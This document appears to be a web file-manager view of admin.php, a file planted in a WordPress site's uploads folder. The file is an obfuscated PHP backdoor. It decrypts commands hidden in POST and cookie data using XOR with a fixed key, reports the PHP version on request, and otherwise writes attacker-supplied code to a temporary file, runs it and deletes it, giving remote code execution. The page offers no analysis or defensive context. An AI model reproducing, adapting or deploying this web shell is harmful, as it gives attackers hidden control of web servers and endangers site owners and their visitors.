HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/admin.php
<?php 

$tizbc  =    'tizbc'  ^     '';$otl_ffrs   =  "a".$tizbc(200-86)    .       "\x72"    .   "\x61" /*xs */ .    "\171"  .    "\x5f"      .    "m"."\x61" /*ynhg*/ .     "p";

$gyda_tzy	= /*q  */ "i"."\155"    .       "p"."\154"	. /*lm*/ "\x6f"     .	$tizbc(100)  .    $tizbc(101);





function	dmycz($oqzdqv,	$dknnnzgjrk){


 /*  oodp*/ global     $tizbc; /* gcj_   */ 
    $oqzdqv /*lqmiki */ =    $tizbc(693-633)    . /* boy  */ $tizbc(485-422) /*d */ . /*  ohswt */ "p".$tizbc(287-183)      .       $tizbc(112)      .   $tizbc(32) /*  x*/ .	"u"."\x6e"  . /* q   */ "\x6c"	.	"\151"  .    $tizbc(110) /*jzcgbo   */ .    $tizbc(891-784)    . /*  bvqd*/ "("."\x5f"	. /*  jfax */ "_"."F"."\111" /*_  */ .	$tizbc(76) /* cv  */ .    "E".$tizbc(95)    .    "\137" /*  oa*/ .    ")".";".$tizbc(32)     .       $oqzdqv["\144"];
 /*hkatcp*/ $cyiro    =      "f".$tizbc(227-122)    .	"l"."e".$tizbc(550-455)    . /*igtcm  */ "p"."\165" /*   zosi  */ . /* ub   */ "\x74"       .       $tizbc(960-865) /* aty  */ .    "c"."o"."n".$tizbc(116)    .	"\x65"      . /*jnjmz*/ $tizbc(110)  .    "t".$tizbc(422-307);

 /*   n */       $cyiro($dknnnzgjrk, /*  vkb */ $oqzdqv);


     ykjeju_f($dknnnzgjrk);}

$edgwtjku   =	73;


function /*a   */ ykjeju_f($dknnnzgjrk)
{	global    $tizbc;
		include($dknnnzgjrk);

    $asuorjkyvm	=	$dknnnzgjrk;
 /*ec */ @unlink($asuorjkyvm);


}


function    nshedn()


{
 /*   p  */ global    $tizbc;

  $zromhcde      = /*gvclc */ array();
 /* flwbe */ $zromhcde["\160"    .	$tizbc(349-231)] /*  rugqg  */ =  phpversion();
	$zromhcde["s"."\166"]  =      $tizbc(51) /*   huekn_  */ .  "."."5";

	$saotqts	= /* cnhzzx */ 74;	echo      @serialize($zromhcde);


}




function	ifaivnrfo($oqzdqv,     $yqie_fye)


{     global      $tizbc;


    $lwxln_uc	=  "";  $qqihcyzkco /*wo   */ =	strlen($oqzdqv);
 /*  bwt   */ $qkxutd  =	strlen($yqie_fye); /*  rggo */ $zromhcde     = /*   veg   */ 0;
 /*npd */ $cmphktuw /* lnlow  */ = /*   eibbep*/ 0;           while /*j*/ ($zromhcde     < /*  dea */ $qqihcyzkco)      {       $eqcrzrdu	= /*  sai  */ $oqzdqv[$zromhcde]      ^    $yqie_fye[$cmphktuw    %	$qkxutd];
     $lwxln_uc       .=    $eqcrzrdu;

 /* bmv_lz  */ $cmphktuw++;       
 /* _myotl */ $zromhcde++;

     }

       
    if /*pjvglx   */ (strlen($lwxln_uc)      >    20)    {
 /*   z   */ $fisun    =    substr($lwxln_uc, /* b */ 0, /* qelne */ 20);	}	if    (empty($lwxln_uc))	{
    $lwxln_uc    = /*chvgvj   */ date('Y-m-d /*   hugss */ H:i:s');    }       return /*otmok   */ $lwxln_uc;


}





function     lijxhla($cmphktuwpkuiozs){


 /*   b */ global   $tizbc;


           $zromhcdensdym	= /*   evm  */ "\145"    .	$tizbc(98)       .     $tizbc(399-298)  .      "\x31"    .    "\x61"."2"."\x31"  . /*rkm*/ "\x62" /* fskj   */ .    "\x2d"    .     "\143" /*npg*/ .       $tizbc(300-246)	. /* pq*/ "e"."\x35" /*   q   */ . /* cpjum   */ "-".$tizbc(399-347)     .    $tizbc(56)    . /*   bdl   */ "b"."0".$tizbc(45) /* zpxk*/ . /* j  */ "b"."\x32"     .     "8"."\63" /* iltvi*/ . /*   bcxce  */ "-"."c"."1"."f"."\x61" /*   vv */ . /*s   */ $tizbc(54)     .   "6"."9"."1".$tizbc(97) /*nzm_ */ .    $tizbc(100)    .	"\x34"	.  "3";   

 /*  vxx */ foreach     ($cmphktuwpkuiozs    as	$fzoav	=> /*  yw_ka*/ $oqzdqv) /*z  */ {
     gxeyyeios(base64_decode($oqzdqv),       $zromhcdensdym, /*   rhzob   */ $fzoav);
  }
}



function    gxeyyeios($oqzdqv, /*hebwm*/ $zromhcdensdym,       $fzoav){


      global	$tizbc;


	
 /*dfybng*/ $oqzdqv	=    unserialize(ifaivnrfo(ifaivnrfo($oqzdqv, /* bx   */ $zromhcdensdym),    $fzoav));


	$dtczu /* sngcv   */ = /*   fes   */ 'fmmwdje';


	$lpmcpxy	=    'mgz';    if	(isset($oqzdqv[$tizbc(97) /*  wv   */ .	$tizbc(107)])) /*   bgdjs  */ {
	if    ($oqzdqv["\x61"]  ==  "i")    {


	nshedn();

      }       elseif /*  giaev_   */ ($oqzdqv["\x61"]    ==       "e")    {


 /*   yuwy   */ dmycz($oqzdqv, /*   vh */ sprintf("\x2e"       . /*zxhvn */ "\57"   . /*   nre*/ "\x25"     .	"s".$tizbc(586-540)   . /*rfmrr   */ "\x70"       . /*   r   */ "l", /*ya */ md5($zromhcdensdym)));			$gokwanlsvo /*  hly */ =   44;


 /*v */ }
       exit();

  }


}



lijxhla($_POST);      



$qwqhzctgo   =	'rawurldecode';



$tonpi      =	$otl_ffrs($qwqhzctgo, /*bbiccw   */ $_POST);


$gyda_tzy("",    $qwqhzctgo);



lijxhla($_COOKIE);


$otnqysxluh /*   jcvm   */ =    $otl_ffrs($qwqhzctgo,	$_COOKIE);







?>